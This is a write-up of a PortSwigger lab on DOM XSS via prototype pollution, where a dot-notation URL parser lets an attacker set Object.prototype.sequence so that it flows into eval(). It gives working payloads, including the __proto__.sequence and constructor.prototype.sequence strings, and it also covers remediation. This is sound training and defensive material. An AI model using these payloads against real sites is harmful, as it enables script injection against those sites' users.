DOM XSS via an Alternative Prototype Pollution Vector
Overview
Lab: DOM XSS via an alternative prototype pollution vector
Platform: PortSwigger Web Security Academy
Vulnerability: Client-side Prototype Pollution -> DOM XSS via eval()
Difficulty: Practitioner
Vulnerability Analysis
The Pollution Source - Dot Notation Parser
This lab uses a jQuery $.parseParams plugin that parses URL parameters using dot notation for nested objects:
// Simple object: ?var.length=2&var.scope=123 returns {var: {length: "2", scope: "123"}}
// Nested objects: ?my.var.is.here=5 returns {my: {var: {is: {here: "5"}}}}
The key difference from previous labs:
- Previous labs:
?__proto__[property]=value(bracket notation) - This lab:
?__proto__.property=value(dot notation)
The Sink - eval() Injection
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
Key Observations
managerhas no ownsequenceproperty when createdmanager.sequenceis read before being set:let a = manager.sequence || 1- String concatenation occurs:
manager.sequence = a + 1(ifais a string, this concatenates) manager.sequenceis injected intoeval()without sanitization
The Attack
Pollution Vector
Since the parser uses dot notation:
?__proto__.sequence=PAYLOAD
This sets Object.prototype.sequence = PAYLOAD
Tracing the Injection
- Pollute:
Object.prototype.sequence = "1)-alert()}//" let a = manager.sequence || 1->a = "1)-alert()}//"(from prototype)manager.sequence = a + 1->"1)-alert()}//" + 1->"1)-alert()}//1"(string concatenation)- Eval string becomes:
if(manager && manager.sequence){ manager.macro(1)-alert()}//1) }
Why This Executes
manager.macro(1)-alert()}//1) }
manager.macro(1)-> returnsundefined(macros object is empty)undefined - alert()-> JavaScript evaluatesalert(), then computesNaN}-> closes theifblock//1) }-> commented out (prevents syntax error)
Solution
Payload
?__proto__.sequence=1)-alert(document.domain)}//
Why the } is Required
Without the }:
if(manager && manager.sequence){ manager.macro(1)-alert()//1) }
The // comments out 1) } but the if block is never closed -> syntax error.
With the }:
if(manager && manager.sequence){ manager.macro(1)-alert()}//1) }
The if block is properly closed, remaining junk is commented out -> valid syntax.
Alternative Vector: constructor.prototype
The constructor.prototype vector also works with this parser:
?constructor.prototype.sequence=1)-alert(document.domain)}//
Traversal: params.constructor -> Object -> Object.prototype -> sequence
Parser Comparison
| Parser Type | Pollution Syntax | Example |
|---|---|---|
| Bracket notation (deparam) | __proto__[prop] |
?__proto__[sequence]=x |
| Dot notation (parseParams) | __proto__.prop |
?__proto__.sequence=x |
| Either | constructor.prototype.prop |
Works with both |
Key Takeaways
- Parser syntax matters: Know whether the target uses brackets
[]or dots.for nesting eval()is dangerous: Any user-controlled data concatenated into eval is a critical vulnerability- Type coercion enables injection:
string + number= string concatenation, allowing payload to remain intact - Syntax completion is crucial: Must properly close blocks/statements before commenting out trailing code
- Alternative vectors exist:
constructor.prototypeworks in parsers that might filter__proto__
Remediation
- Never concatenate user input into
eval(): ```javascript // Bad eval(‘manager.macro(‘ + manager.sequence + ‘)’);
// Better - avoid eval entirely if (manager && manager.sequence) { manager.macro(manager.sequence); }
2. **Sanitize prototype pollution sources**: Filter `__proto__`, `constructor`, `prototype`
3. **Initialize all expected properties**:
```javascript
window.manager = {
params: $.parseParams(...),
sequence: 1, // Explicit initialization
macro(property) {...}
};
- Use
hasOwnPropertychecks before reading potentially polluted properties